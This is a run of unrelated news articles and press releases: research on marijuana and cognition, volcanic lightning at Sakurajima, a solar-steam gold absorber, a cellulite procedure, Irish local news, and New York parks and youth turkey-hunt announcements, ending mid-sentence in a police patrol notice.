To truly tease out the effect of marijuana alone, researchers have to follow people over time, ideally gathering information about their cognition and intelligence before they began using pot. Only a handful of studies have done this so far.

The first, published in the journal Neurotoxicology and Teratology in 2005, found that being a current regular user of marijuana led to deficits in memory, IQ, processing speed and memory, but people who had used the drug in the past but had since stopped did not show long-term effects three months after quitting. However, that study followed 113 teenagers who used marijuana for an average of only two years.

A bigger, longer-term study, published in the journal Proceedings of the National Academy of Sciences in August 2012, did not bode well for pot connoisseurs. Researchers followed 1,037 New Zealanders from birth to age 38, assessing their cognitive function at age 13 (before any participants had started using cannabis) and again at age 38. Participants reported their cannabis use at age 18, 21, 26, 32 and 38, giving researchers an opportunity to determine whether cognitive effects differed depending on when a person started using marijuana and how long he or she continued to use it.

That study found global declines in cognition, including an average drop in IQ of about 6 points in people who had used marijuana. The biggest effects were seen in persistent users  people who reported having consumed marijuana in at least three interviews between the ages of 18 and 38. Notably, the deficits were not found in people who started using marijuana as adults, but were strong in people who took up the habit as teens. The researchers also had participants' close friends or family members fill out questionnaires on the participants' daily functioning, and found that those who had used marijuana were worse off than those who had not.

"Marijuana is not harmless, particularly for adolescents," study researcher Madeline Meier, now a psychology professor at Arizona State University, concluded in a statement sent to Live Science. [10 Facts Every Parent Should Know About Their Teen's Brain]

Not all of the longitudinal data agrees, however. For a study published in the Journal of Psychopharmacology in January 2016, researchers followed 2,235 British teenagers, about a quarter of whom had tried pot at least once by age 15. The researchers found no link between cumulative marijuana exposure at age 15 and IQ or educational performance at age 16.

The study was based on a short time frame, but even longer-lasting investigations returned conflicting results. In February 2016, researchers published the results of a study following marijuana users and nonusers into middle age. They analyzed the verbal memory, processing speed and executive function (planning abilities and self-control) in 3,385 participants in the Coronary Artery Risk Development in Young Adults (CARDIA) study. About 84 percent (2,852) had used marijuana at some point, but only 11 percent (392) had used it in middle age. The study showed that after the researchers accounted for other factors that could have affected the results, such as other drug use and demographics, cumulative pot use was linked to worse verbal memory. For every five years of marijuana use, a person would remember one less word, on average, from a list of 15 they were asked to memorize. However, no declines in executive function or processing speed were found.

Turning to twins

Although all of these studies controlled for factors that might influence cognition  demographics, other drug use, education  those statistics aren't an exact science. Jackson, along with University of Minnesota Twin Cities researcher Joshua Isen, came up with a way to control the comparison.

The researchers were working with two data sets of more than 3,000 identical twins, meaning they had the same genetic makeup and the same home environment. The pairs of twins had undergone intelligence testing between the ages of 9 and 12 (before using marijuana), and between the ages of 17 and 20 (after some had started using the drug). By comparing marijuana users with their non-using twins, the researchers were able to control for the home and environmental factors that aren't necessarily captured in traditional statistical adjustments.

The analysis revealed that, overall, marijuana users were indeed cognitively worse off than nonusers in late adolescence. But the users were also worse off before they started using pot. And when researchers compared the pot users to their own non-using twins, they found that the sibling pairs ended up in the same place, cognitively speaking. Thus, it wasn't the pot use that was causing the differences between the group of pot users and non-users. It was some unexplored factor that affected both twins, whether they smoked pot or not.

"We believe that what we're looking at has something to do with the common environment that these twins share, something about their family environment or peer environment or school environment," Jackson said.

That does not mean that marijuana is harmless, Jackson said. Animal studies do show physiological effects of the drug, and it's likely that something similar is going on in the human brain. But it's not clear how strong the effects are, he said  if an animal exposed to pot runs a maze a few seconds more slowly, how does that translate to points on the human intelligence scale?

Jackson and Isen's research, published in the journal Proceedings of the National Academyof Science in February 2016, suggests that whatever marijuana's impacts are, they're dwarfed by the environmental factors that caused the pot use in the first place. Jackson said he suspects the results conflict with the 2012 study in New Zealand because in that study, researchers were following heavier users over the longer term, so the results reflect the problems those users had in childhood rather than problems caused by the pot use itself.

"I think the real question ends up being for kids, 'Should I be more concerned about how marijuana is affecting their brain, or should I be more concerned about what are the things that have led that person to seek refuge in marijuana?'" Jackson said. "What is going on in that 14-year-old's home life?"

Nevertheless, the research in this area is too nascent to draw firm conclusions about whether marijuana use is safe over time, all other things being equal. The National Institutes of Health announced last year that it is launching a longitudinal study of 10,000 children to track the effects of substance abuse, including marijuana exposure, over time. The Adolescent Brain Cognitive Development Study will use neuropsychological testing, as well as brain imaging, to delve into these questions.

The answers are likely to be complicated by ever-changeable factors, such as the strength of marijuana being cultivated, Jackson said. Modern weed has been bred to be higher in THC than strains smoked in previous decades, and those concentrations could matter to the brain.

"I think it's going to be a very long time until we know," Jackson said.

Follow Stephanie Pappas on Twitter and Google+. Follow Live Science's Life's Little Mysteries @LLMysteries, Facebook & Google+.
Jeffrey Johnson, associate professor of geosciences at Boise State University, contributed this article to Live Science's Expert Voices: Op-Ed & Insights.

Japan is a country of volcanoes, and Sakurajima is one of its most infamous. Its notoriety stems from its poor behavior in 1914, when powerful explosions and pyroclastic flows forced the evacuation of the small volcanic island. Shortly after the explosions stopped, extensive lava eruptions began. The amount of lava that erupted was enough to span Kagoshima Bay, connecting the volcano to Kyushu's mainland. For much of the next forty years, the volcano was relatively quiet.

A student walks to school on Sakurajima Peninsula wearing a hard hat, as many do, in case volcanic material soars over the town. (Image credit: Corrado Cimarelli)

But Sakurajima has been exploding intermittently since 1955. And although it no longer is an island, it is still nearly surrounded by water, and its 7,000 residents are exposed to volcanic hazards including ash fall, lahars, and the potential for lava bombs. Today, schoolchildren commute wearing hard hats just in case rocks start to rain down from the sky. Because ashfall often grays the landscape, everyone wears masks to avoid breathing in the tiny particles of volcanic glass. While downwind areas on the island are more vulnerable to the ashfall, no corner of the island remains completely unaffected, since any location is less than 4 miles from the exploding crater.

Although explosions are a worrisome inconvenience to the local population, the phenomenon draws volcano scientists to the region like moths to a flame: Sakurajima's reliable, frequent and powerful explosions provide researchers with an unparalleled laboratory for studying eruptions that are categorized as quintessentially "vulcanian."

Photos taken several seconds apart, along with corresponding infrasound signal of several hundred pascals in amplitude, taken at Sakurajima Volcano in Japan. (Image credit: Jeffrey Johnson)

On a typical day, a few vulcanian blasts can be expected to erupt out of the Showa Crater like canon shots. Ten seconds later, a concussion sound wave  often exceeding 100 pascals in pressure, akin to the sound pressure levels on an aircraft carrier deck  reaches the Kurokami Observatory 2 miles away. Most of this sound energy is subsonic, but if it were audible, it would be deafening: the equivalent of 140 decibels. To put it another way, it would exert a force of approximately 100 lbs. on a (well-sealed) window.

The blasts are accompanied by the blisteringly rapid explosion of gas and pyroclastic materials, which are composed of ash, rock bombs and refrigerator-size rocks. The materials erupting from the Showa Crater rim often exceed a velocity of 400 feet per second, and within moments, inertia carries the pyroclasts nearly 1,000 feet above the vent. A perceptive viewer might observe blinking sparks  lightning  in the growing column.

Observing volcano lightning processes in real time would be like trying to track camera flash bulbs at a sporting event. This is why Corrado Cimarelli of the Department of Earth and Environmental Sciences at Ludwig Maximilian University of Munich has been developing ingenious techniques to observe Sakurajima's eruption lightning events.

Slowing down an eruption

Cimarelli and his co-authors recently published a study in Geophysical Research Letters entitled "Multiparametric observation of volcanic lightning: Sakurajima volcano, Japan." In this study, the researchers use high-speed cameras and magnetotelluric data (described below) to perceive the eruptive processes that are invisible and/or too fast for a human observer to track. While a consumer-grade video camera might capture image sequences 30 times each second, the high-resolution, high-speed cameras that Cimarelli uses capture images 100 times more rapidly.

A high-speed image of volcano lightning at Sakurajima Volcano. (Image credit: Corrado Cimarelli)

During a single, high-speed image frame, exposed for 30 microseconds, the fastest ballistic particles travel barely more than an inch. This might appear unnecessarily fast for tracking pyroclastic trajectories, but it is an essential capability for gaining insight into the evolution of lightning, which "grows" at speeds of between 8 and 80 miles per second.

With the use of high-speed cameras, researchers have learned that lightning sparks propagate in a series of jerky advances known as stepped leaders, a process that is also seen in thunderheads. The stepped-leader response corresponds to the short circuiting of charged regions that have been separated either within a cloud, or between the cloud and ground. Once the connection is complete, current flows and heats the atmosphere, creating the visible pulse that observers recognize as lightning. [What Causes Eerie Volcanic Lightning?]

The sparks that are detected during volcanic lightning episodes at Sakurajima are generally small and measure between 30 and 600 feet  one or two orders of magnitude shorter than the lightning that appears during electrical storms.

High-speed image of volcano lightning at Sakurajima (Image credit: Corrado Cimarelli)

The high-speed camera maps the distribution of sparks over time, but this information becomes much more valuable when it is complemented by magnetotelluric (MT) monitoring, which also detects sparks occurring within the opaque, center portion of the eruption column.

MT observations sample both electric- and magnetic-field variations from many miles away and at an incredible 65,000 times per second. Tiny magnetic-field fluctuations  about 1 part in 10,000 of Earth's ambient field  are well-recorded, and have revealed that Sakurajima volcano lightning carries up to 1,000 amperes of current. Using the MT technique with its valuable time-resolution capabilities, the research team can also count flashes, determine the direction of current flow for each flash and assess whether the lightning remains within the ash cloud (intracloud) or reaches the ground (cloud to ground).

Together, high-speed imagery of volcanic lightning and MT studies provide a fuller picture of the internal workings of a fiery, turbulent column of volcanic ash and gas.

Laboratory lightning

Although scientists' understanding of thunderstorm lightning is mature, they are only starting to build an understanding of volcano lightning. Based upon volcano lightning "mapping" studies conducted in Alaska, volcano lightning may be broadly grouped into categories that are described as "vent discharges," "near-vent lightning" or "plume lightning" depending upon where they are located within an eruption column.

The vent discharges at Sakurajima include sparks tens- to hundreds-of-meters long that occur near the mouth of the volcano. Here, small particles of ash erupt and are preferentially charged  that is, the larger particles becoming slightly more positive. And then, as particle sizes are sorted by air resistance within the ash cloud, they become physically separated. When the ash explodes upward, the smaller-size particles tend to slow down more quickly. This is when charge separation may occur, either due to fractocharging, as the pyroclastic material is violently ripped apart during eruption; or due to tribocharging, which is charge transfer through rubbing. This second mechanism is akin to the familiar static electricity that builds up when you rub a balloon on your hair.

Lightning is the response to the charge-separation process. Disequilibrium is remedied when the atmosphere short circuits and produces a spark  the lightning bolt. The current that is produced induces magnetic-field deflections that last for a millisecond, and occur with nanotesla intensity several miles away. The events are remotely recorded using MT methods.

Volcano lightning created in laboratory experiment at Ludwig Maximilian University of Munich. The spark is a few inches in length. (Image credit: Corrado Cimarelli)

Cimarelli believes that tribocharging plays an important role in the charge-separation process, because one of his earlier experiments involved the production of volcano lightning in the lab. The results were featured in a 2014 Geology paper, where he and colleagues ejected fine volcanic ash from a pressurized nozzle  a laboratory volcano vent  and generated lightning-like sparks a few inches in length. These sparks formed without obvious magma fragmentation and without the presence of ice  or graupel  which is the conventional charge-separation vehicle for lightning in a typical thunderstorm. [Electrifying Images of Volcano Lightning]

Why we care about volcano sparks

A wealth of volcano research has shown that eruption columns become statically charged due to ash separating in a plume. This is important, because near-vent volcanic lightning including its intensity, frequency and character  is directly related to how much fine material is erupted. These discoveries are exciting, and suggest that soon we might be able to use lightning detection as a measure of how much ash is ejected during eruptions.

Other methods to calculate ash emission rates don't work very well. Satellite- and ground-based multispectral measurements can detect ash plumes, but dont do a very good job when it comes to quantifying how much ash is in the plume, or to predicting the rate at which the ash is ejected. Cloud cover and darkness hinder both satellite- and ground-based visual observations of plumes, and deriving ash quantity is limited by our understanding of ash plume density.

If you're a topical expert  researcher, business leader, author or innovator  and would like to contribute an op-ed piece, email us here

Lightning detection, on the other hand, offers a means to potentially quantify ash discharges during inclement weather and at nighttime. Detectors can be located at safe distances, tens of miles from the vent, and the cloud does not impede the ability of MT sensors to "see" lightning.

Such detections are critical, as volcanic ash clouds are one of the principal hazards posed by eruptions. Even dilute amounts of ash that are ingested by a jet turbine can incapacitate the engine, causing it to fail catastrophically. This potential hazard was brought to the attention of the general public by Iceland's 2010 Eyjafjallajokull Volcano eruption, which spewed ash across the air corridors of Europe. The eruption grounded more than 100,000 flights over the course of a week, affecting 10,000,000 travelers, and causing billions of dollars in losses.

Given the economic impact of ashy eruptions, the next generation of comprehensive eruption monitoring will focus on ash quantification and will likely use lightning ash detectors as a primary instrument. Sakurajima, a laboratory volcano in Southern Japan, is facilitating the development of this tool.

Follow all of the Expert Voices issues and debates  and become part of the discussion  on Facebook, Twitter and Google+. The views expressed are those of the author and do not necessarily reflect the views of the publisher. This version of the article was originally published on Live Science.
Steam power, once a major force behind the Industrial Revolution, could be coming back into fashion, after Chinese researchers designed the world's "darkest metal" that converts sunlight to steam at roughly 90 percent efficiency.

Despite being made from gold, the so-called "plasmonic absorber" is jet black as it absorbs 99 percent of light in the visible to mid-infrared spectrum. Its designers say this is a dramatic improvement over previous metal absorbers and comparable to the world's darkest material, carbon-nanotube (CNT) arrays. Combined with its porous structure, this enables the metal to use solar energy to generate steam at far lower light intensities and temperatures than traditional approaches that concentrate sunlight to very high levels to drive steam turbines.

The device can also assemble itself, which could enable large-scale manufacture of plasmonic absorbers for a host of applications, the researchers said. [10 Technologies That Will Transform Your Life]

"It opens up a lot of possibilities in terms of solar catalysis, water purification, sensors and detectors," said study co-author Jia Zhu, a professor at Nanjing University in China. "Steam can be used to kill bacteria for biomedical applications, others are trying to use steam to run heat engines to generate electricity and steam can also be used as a clean form of water once you condense it. There are a lot of things that can be done and I see huge potential in our absorber."

The new absorber, described in a paper published April 8 in the journal Science Advances, takes advantage of plasmonics, where the free electrons that allow electric current to pass through metals can also be excited by the electromagnetic waves that make up light.

By carefully designing nanoscale metallic structures, it is possible to exploit this effect to absorb the energy from light. At present, these designs are normally effective only at specific wavelengths and building them requires complicated lab techniques such as focused ion beam and e-beam lithography.

For their new absorber, the Chinese researchers employed anodization  a simple process that uses electricity to oxidize the surface of a metal  to create an aluminum oxide template dotted with nanoscale pores. They then introduced a vapor of gold nanoparticles that self-assembled onto the template surface and inside the pores.

The honeycomb shape of the template helps confine light to the absorber by reducing its reflectivity, but Zhu said the secret to its success is randomly sized nanoparticles crammed together.

Typically the light frequency at which electrons become excited depends heavily on the size of the particle, so having various particle sizes means more frequencies are covered. In addition, when the particles are packed tightly, their electrons can work together to interact with light more efficiently and across a wide range of wavelengths, the researchers said.

"Each particle can respond to a different frequency, but when they're closely packed together they also work together," Zhu told Live Science.

To demonstrate the practical effectiveness of the device, the scientists showed it could generate steam by simply floating on water when illuminated with the equivalent of four suns' worth of light, a far lower intensity than other solar-steam generators require. [Top 10 Craziest Environmental Ideas]

According to Zhu, the structure of the absorber also means very little energy is wasted on heating water that is not in contact with the device. "Only the very top surface of the water gets heated up and becomes vaporized immediately," he added. "And the porous structure provides channels for the steam to escape."

Ventsislav Valev, a professor in the Department of Physics at the University of Bath in the United Kingdom, recently built a working nanophotonic steam engine, in which steam is generated using laser-illuminated plasmonic nanoparticles. He said the high absorbance and the broad wavelength range of the team's structure is impressive, and he agreed that it could one day be manufactured on a large scale.

"The issue I see is that, in scaling the production, heat loss to the environment will become an important factor," Valev told Live Science. He said his team found that it was easy to generate steam from small amounts of water, but it became increasingly difficult with larger volumes.

Both the efficiency and bandwidth of the new absorber are similar to those achieved using CNTs, but Zhu said their approach can piggyback on the already well-developed metallurgy industry, while CNT technology is still confined to the lab.

But, he thinks the two approaches to light absorption can be complimentary and both should be investigated. "CNTs have their own unique advantages, but metals are unique, too," Zhu said. "If we can now combine incredible light absorbing in metals with their other properties in things like catalysis or sensing, that would be great."

Zhu said he and his colleagues are currently developing materials and processes that achieve high efficiency with much lower cost and just one sun intensity.

Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.
For women with the all-too-common lumps and bumps of cellulite, wearing a bathing suit or shorts in public may make them feel self-conscious or embarrassed. The condition, which makes the skin on the rear end and backs of thighs appear bumpy and dimpled, affects more than 85 percent of adult women, according to some estimates.

No one knows why women get cellulite, said Dr. Michael Kaminer, an associate clinical professor of dermatology at the Yale School of Medicineand one of the founders of SkinCare Physicians in Chestnut Hill, Massachusetts.But cellulite is almost always related to genetics and how skin and muscle attach in women, he said.

Although it plagues the vast majority of women  even those who are fit and slim  the question of how to banish cellulite has stumped scientists. But Cellfina, a new cosmetic procedure first approved by the Food and Drug Administration (FDA) in 2014, may make it easier to fix cellulite. The treatment helps improve the appearance of dimpled skin for at least two years, and may even have longer-lasting results, experts say.

Cellfina works by releasing the fibrous bands under the skin known as "septae" that can pull down skin and create cellulite, said Kaminer, who helped develop the concept for the procedure and was involved in the original pilot studies that led to its FDA approval. [7 Beauty Trends That Are Bad for Your Health]

This is not the first FDA-approved device for cellulite.

There have been other devices that have purported to get rid of cellulite using laser or radio-frequency energy, and they have produced mild to moderate benefits, said Dr. Matthew Avram, director of the dermatology, laser and cosmetic center at Massachusetts General Hospital in Boston, who was not involved in the development of Cellfina. But these treatments only had temporary effects and they did not change the underlying structure of cellulite, he said.

Cellfina, on the other hand, targets the architecture of the skin and the fat associated with dimpling, Avram said. The procedure appears to be safe, and it is designed to tackle cellulite's underlying cause and produce a real improvement in the appearance of dimpled skin, he said. (Avram noted, however, that he has not yet used Cellfina on his patients, but is planning to do so soon.

By releasing the fibrous bands of connective tissue that pull on the skin from the fat below, Cellfina allows the skin's surface to become more flat and even rather than having an undulating or cottage-cheese appearance, Avram told Live Science.

Under the skin

The minimally invasive procedure is approved for treating "pinky-nail to thumbnail-size dimpled cellulite found on the rear end, the back of thighs and outer thighs," said Kaminer, who uses the treatment in his practice. [5 Ways Skin Can Signal Health Problems]

To be a good candidate for the procedure, a woman should be within 10 pounds of her normal body weight, Kaminer said. Women who are significantly overweight have extra fat underneath the skin, which creates more weight to the skin, he said. Cellfina would not produce a noticeable change in cellulite's appearance in these women, he said.

During the hour-long procedure, a doctor may be able to treat, on average, 20 to 30 dimples. After the dimples were marked, a device is used to inject an anesthetic liquid under the skin to numb the treatment area. (On a pain scale of zero to 10, most women rate this part of the process between a 3 and a 4, Kaminer said.)

Next, the same device is used to attach a suction cup to the dimpled skin in order to stabilize it. A physician then inserts a tiny needle into the skin to cut the fibrous bands of connective tissue, he said.

Kaminer said about half the women he treats need Tylenol for pain relief afterward. Women are also advised to wear Spanx or a similar compression garment every day for a week following the procedure, he said.

The side effects of Cellfina may include bruising, swelling, soreness and red dots in the areas where the suction cups and needle were used. But Kaminer said that because the needle used to release the fibrous bands is so tiny, there is no scarring. Once the fibrous bands are released, they don't appear to grow back and reform cellulite, he said.

Improved appearance

Kaminer tells his patients to give the treated area about two to three months before expecting to see improvements from the procedure. But many women have told him that they can see a difference in their skin within a week, if they don't have much swelling and bruising.

"For the first year after treatment, the appearance of the skin gets better and better," Kaminer told Live Science. A study of the first 55 women to undergo the procedure showed that 99 percent of them had improvements in the appearance of their cellulite and produced a 94 percent satisfaction rate one year after the treatment, he said.

Many women that Kaminer has treated say they feel happier that they can now wear certain clothes again, such as white pants or tight-fitting yoga pants, Kaminer said.

But the procedure comes at a cost. The $4,000 to $6,000 price tag of Cellfina is generally not covered by health insurance. The procedure was first released for commercial use in 2015, and currently 40 to 50 physicians throughout the country offer it, Kaminer said. [Body Enhancement Nightmares: The Top 10 Crimes Against Nature]

Before Cellfina became available, Kaminer said most treatments for cellulite were based on massage. Those treatments tended to produce a 10 to 15 percent improvement in appearance that lasted for about a month before needing to be repeated, he said.

So far, the evidence on the Cellfina procedure comes from a small sampling of women, and shows the benefits have endured for at least two years with no indication the results are reversing, Avram told Live Science.

To measure Cellfina's true effectiveness, additional studies are needed on more women who have had the procedure and been followed over longer periods, he said.

Follow Live Science @livescience, Facebook & Google+. Originally published on Live Science.
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A meeting to discuss the control of Asian clams in the hot water stretch at Lanesboro will take place next week.

Following a meeting with the EU parliament earlier this year, local representatives learned that the responsibility for dealing with the matter lay with the National Parks and Wildlife Service (NPWS).

The Leader has learned that an NPWS representative visited the area in recent weeks and a report in respect of that has now been written up.

There are a number of proposals for remedial works to be carried out in Lanesboro and it is expected that a management plan will also be put in place during the meeting with regards to the future removal of the Asian clams.

An economic assessment of the damage caused by the invasive species is also underway.

The clams invaded back in September 2014 and nothing has been done to deal with matters since then, Hugh Keane, Chairman of Lough Ree Angling Hub, told the Leader on Monday.

Asian clams are in other places along the Shannon but the hot water stretch in Lanesboro makes an ideal breeding ground for them.

They must be controlled, otherwise they will be washed out to Lough Ree and the water will become sterile.

The meeting takes place in St Mary's Hall, Lanesboro on Monday, April 25 next at 2pm.

Representatives from Inland Fisheries, NPWS, Waterways Ireland and other agencies will attend on the day.

Invitations have also been issued to local councillors and public representatives.

It is critical that people and agencies are represented, added Mr Keane.

This is a public meeting and everyone is welcome to attend.
Gardai are still not adequately resourced to tackle organised crime, a public gathering in Mullingar heard last week.

It was the chief overriding message delivered by Paul Williams as the Special Correspondent with the Irish Independent addressed around 150 people last Thursday evening.

Mr Williams said those challenges combined with allegations of alleged garda malpractice were steadily eroding the ties between law and order and communities.

 In the past few years (An Garda Siochana) as a corporate organisation has lost confidence in itself, he bluntly put it.

Go down to Bailieboro (Co Cavan), allegations of the most outrageous nature were made against those people (gardai) and not one of them could defend themselves, decent guys who are doing their jobs.

That undermines the relationship between the community and the police and there's only a certain clique in our society who want to see that happen and are trying to fracture that relationship from both within and from outside.

Mr Wlliams was one of three main speakers in the second of a series of Nation Talks events hosted by Skoda at its Mullingar Autos Centre.

Chaired by agricultural journalist Darragh McCullough the three man panel was joined by Conor OLeary, Eastern Region Development Officer from Muintir na Tire, who spoke about the devastating impact that crime and the fear of criminality is having on rural communities.

Westmeath Crime Prevention Sergeant with An Garda Siochana, John Connolly, also spoke at the event.

Mr Williams, who has been travelling around the country reporting on the issue of rural crime, said despite the many difficulties facing gardai, there were positive elements to draw upon.

One of those, he said, was the continued success of community text alert schemes.

It works when it is done right, he said.

I have been going all over the country meeting people and it does work.

It's called a new concept, the 'responsibiliation' of people, a big word that they use in criminology in community efficacy where everybody works together.

People who want guards are mostly rural based people because they are compliant, law abiding people....and when you do have an integrated system it does really work, he remarked.

But what we need is our police who are of the community to be able to keep that relationship and at least be supported by the powers that be.
Family & Parenting, School & Education, Local News, Community, Charity & Cause, Travel & Local Attractions, Press Releases

By Long Island News & PR Published: April 22 2016

Governor Andrew M. Cuomo today announced New York State is launching the "Connect Kids to Parks" program to enhance educational and recreational opportunities for schoolchildren and help promote parks and historic places in every corner ...

Albany, NY - April 20, 2016 - Governor Andrew M. Cuomo today announced New York State is launching the "Connect Kids to Parks" program to enhance educational and recreational opportunities for schoolchildren and help promote parks and historic places in every corner of the state. As part of the effort, New York will partner with the National Park Service to extend free State Park day-use entry to all fourth-grade students and their families in 2016 as well as create a grant program to help transport schoolchildren to outdoor recreation and environmental education programs in State parks and historic sites.





"New York is home to some of the most exceptional examples of scenic beauty anywhere in the world," Governor Cuomo said. "To see them is to love them and through this program, we will be expose more young New Yorkers to these world-class parks in their own backyards and inspire a new generation of environmental stewards."



In 2016, New York State Parks, as well as day-use areas operated by the Department of Environmental Conservation, will accept the Every-Kid-In-A-Park pass upon presentation for vehicle entry into all State Parks as long as the fourth grader is present in the vehicle. The pass will also be accepted at State Historic Sites for the pass holder and up to 3 adults for house tour fees. Details about the program are available at www.nysparks.com. The Obama Administration announced in early last year that it will provide all fourth grade students and their families free admission to all National Parks and other federal lands and waters for a full year.



Additionally, the 2016-17 State Budget includes $500,000 to develop a transportation program to bring more K-12 studentsparticularly those from underserved areasto State Parks and public lands. As a component of the state's enhanced Environmental Justice programming, State Parks and the Departments of Environmental Conservation will provide direct grants to school districts through the Environmental Protection Fund to cover the costs of transporting 4,000 school children to State Parks educational programing at nature centers and historic sites.



"America is blessed with unrivaled public lands and waters, and through Every Kid in a Park, were inviting every fourth grader and their families to enjoy our nations great outdoors," said U.S. Secretary of the Interior Sally Jewell. "Through this program, every fourth grader - including those in New York  will have an opportunity to nurture their curiosity and wonder, developing a lifelong connection to our nations land, water and wildlife in their backyards and beyond."



New York State Commissioner of Parks, Recreation and Historic Preservation Rose Harvey said, "Expanding opportunities for our children to spend time in parks and nature is one of the best things we can do to help them build mind and muscle. By making this special commitment to expand our childrens horizons, Governor Cuomo continues to build this States rich tradition of environmental stewardship. I am grateful to our many partners for making this effort a reality."



Department of Environmental Conservation Acting Commissioner Basil Seggos said, "Encouraging children to check out the many wonders of nature provides them with a learning experience that they wont find in any classroom or textbook. This unique initiative shows Governor Cuomo's continued commitment to encourage young children from all backgrounds to respect the environment and feel excited about giving back to it."



National Park Service Deputy Director for Congressional and External Relations Denise Ryan said, "The Every Kid in a Park program is successful because of collaboration and coordination across government agencies at every level, and the National Park Service is proud to have the support of the state of New York. Now, fourth graders from across the state can enjoy and explore the great outdoors, from Adirondack State Park to Fire Island National Seashore, and everything in between!"



To support the administration and operation of the free 4th Grade Entry program, the Natural Heritage Trust has secured $300,000 in funding commitments thanks to the generosity of the following: Lucy R. Waletzky, MetLife Foundation, Long Island State Parks Foundation, Alfred P. Sloane Foundation, and Geraldine R. Dodge Foundation.



MetLife Foundation President and CEO Dennis White said, "Access to open spacesis vital to the health and well-being of individuals, families and communities. We are honored to join New York State, program partners and other sponsors in connecting schoolchildren and families with parks and public lands for education and recreation. Building healthy communities by leveraging local parkswill yield positive outcomes for years to come."



There are an estimated 220,000 4th Graders in New York State. Research shows that children who interact with nature before age 11 are more likely to have positive attitudes about the natural environment, and many state parks and historic sites have educational programs that serve fourth grade students. In New York, the grade 4 social studies core curriculum focuses on civics, community and New York State historymaking it a perfect school year to visit a New York State Park.
Family & Parenting, Sports & Recreation, Local News, Press Releases, Seasonal & Current Events

By Long Island News & PR Published: April 22 2016

Spring turkey season opens May 1 in all of upstate New York north of the Bronx-Westchester County boundary and the Department of Environmental Conservation's 13th annual youth turkey hunting weekend is scheduled for April 23-24, ...

Youth Turkey Hunt from April 2013. Pictured is Dominic Villafranca, then 15, with a catch from Suffolk County at 26 lbs., 10" beard, 1.25" spurs.

Albany, NY - April 21, 2016 - Spring turkey season opens May 1 in all of upstate New York north of the Bronx-Westchester County boundary and the Department of Environmental Conservation's 13th annual youth turkey hunting weekend is scheduled for April 23-24, DEC Acting Commissioner Basil Seggos announced today. The youth turkey hunt for junior hunters ages 12-15 is open in all of upstate New York and across Suffolk County.

"Hunting is a proud tradition in New York, and turkey hunting in particular remains a very popular activity with more than 100,000 hunters enjoying this pastime in the state each year," Acting Commissioner Seggos said. "Through Governor Cuomo's NY Open for Fishing and Hunting initiative, we are creating more opportunities, like the annual youth turkey hunt, to introduce the next generation of conservation stewards to hunting and teach them the necessary skills to become safe and responsible members of the hunting community."

Improved reproductive success in 2015 coupled with a mild winter has increased the number of turkeys on the landscape beyond the past few years, providing better prospects for New York's spring turkey hunters this season. About 8,000 junior hunters harvested an estimated 1,131 birds during the two-day event in 2015. The estimated turkey harvest for spring 2015 was 19,840 birds.

Important Details for the Youth Turkey Hunt on April 23 and 24:

Hunters 12-15 years of age are eligible and must hold a hunting license and a turkey permit.

Youth 12-13 years of age must be accompanied by a parent, legal guardian or adult over 21 years of age with written permission from their parent or legal guardian. Youth 14-15 years of age must be accompanied by a parent, legal guardian or adult over 18 years of age with written permission from their parent or legal guardian.

The accompanying adult must have a current hunting license and turkey permit. The adult may assist the youth hunter, including calling, but may not carry a firearm, bow, or crossbow, or kill or attempt to kill a wild turkey during the youth hunt.

Shooting hours are from one-half hour before sunrise to noon each day.

The youth turkey hunt is open in all of upstate New York, north of the Bronx-Westchester County boundary and across Suffolk County.

The bag limit for the youth weekend is one bearded bird. This bird becomes part of the youth's regular spring season bag limit of two bearded birds. A second bird may be taken only in upstate New York, north of the Bronx-Westchester County boundary, beginning May 1.

Crossbows may only be used by hunters age 14 or older.

All other wild turkey hunting regulations remain in effect.

Other Important Details for the Spring Turkey Season, May 1-31, 2016:

Hunting is permitted in most areas of the state, except for New York City and Long Island.

Hunters must have a turkey hunting permit in addition to their hunting license.

Shooting hours are from one-half hour before sunrise to noon each day.

Hunters may take two bearded turkeys during the spring season, but only one bird per day.

Hunters may not use rifles or handguns firing a bullet. Hunters may hunt with a shotgun or handgun loaded with shot sizes no larger than No. 2 or smaller than No. 8, or with a bow or crossbow.

Successful hunters must fill out the tag that comes with their turkey permit and immediately attach it to any turkey harvested.

Successful hunters must report their harvest within seven days of taking a bird. Call 1-866-426-3778 (1-866 GAMERPT) or report harvest online at DEC's website.

For more information about turkey hunting in New York, see the 2015-16 Hunting and Trapping Regulations Guide or visit the "Turkey Hunting" pages of DEC's website.

New York has an extremely safety-conscious generation of hunters, largely due to the annual efforts of more than 3,000 dedicated volunteer sportsman education instructors. DEC suggests hunters follow the cardinal rules of hunting safety: assume every gun is loaded, control the muzzle, keep your finger off the trigger until you are ready to shoot, be absolutely sure of your target and what may be beyond it, and don't stalk. Set up with your back against a large tree and call birds to you. To find a sportsman education class in your area, go to DEC's Sportsman Education webpage or call 1-888-HUNT-ED2 (1-888-486-8332).

Citizen Science Opportunities:

DEC Seeks Turkey Hunters for Ruffed Grouse Drumming Survey - Turkey hunters in pursuit of that wary gobbler in the spring are ideally suited for monitoring ruffed grouse during the breeding season. Turkey hunters can record the number of grouse they hear drumming while afield to help DEC track the distribution and abundance of this game bird. To get a survey form, go to the Ruffed Grouse Drumming Survey webpage on DEC's website or call (518) 402-8886.

To participate in DEC's Summer Wild Turkey Sighting Survey or other wildlife surveys, visit the "Citizen Science" page of the DEC website.

Send DEC your photos:

Do you have photos from a spring turkey hunt you would like to share? DEC has created a Hunting and Trapping Photo Gallery for junior hunters ages 12-15, young trappers under age 16, and hunters who have harvested their first big or small game animal. If you are the parent or legal guardian of a junior hunter, or if you are an adult who would like to share your first successful hunt, visit the Hunting & Trapping Photo Gallery on the DEC website.
Local News, Press Releases, Seasonal & Current Events

By Long Island News & PR Published: April 22 2016

Nassau County Executive Edward P. Mangano and Acting Police Commissioner Tom Krumpter were today joined by members of the Jewish Community Relations Council  Long Island (JCRC-LI) as they announced intensified police patrols around temples ...

Nassau County, NY - April 20, 2016 - Nassau County Executive Edward P. Mangano and Acting Police Commissioner Tom Krumpter were today joined by members of the Jewish Community Relations Council  Long Island (JCRC-LI) as they announced intensified police patrols around temples and synagogues for Passover, which begins the evening of Friday, April 22nd and ends the evening of Saturday, April 30th.

Nassau County Police will intensify patrols around temples and synagogues during Passover, said County Executive Mangano. While at the present time there is no known threat to our county, the Nassau County Police Department is working around the clock with partners in law enforcement to monitor any potential threats to public safety and thank the public in advance for their assistance

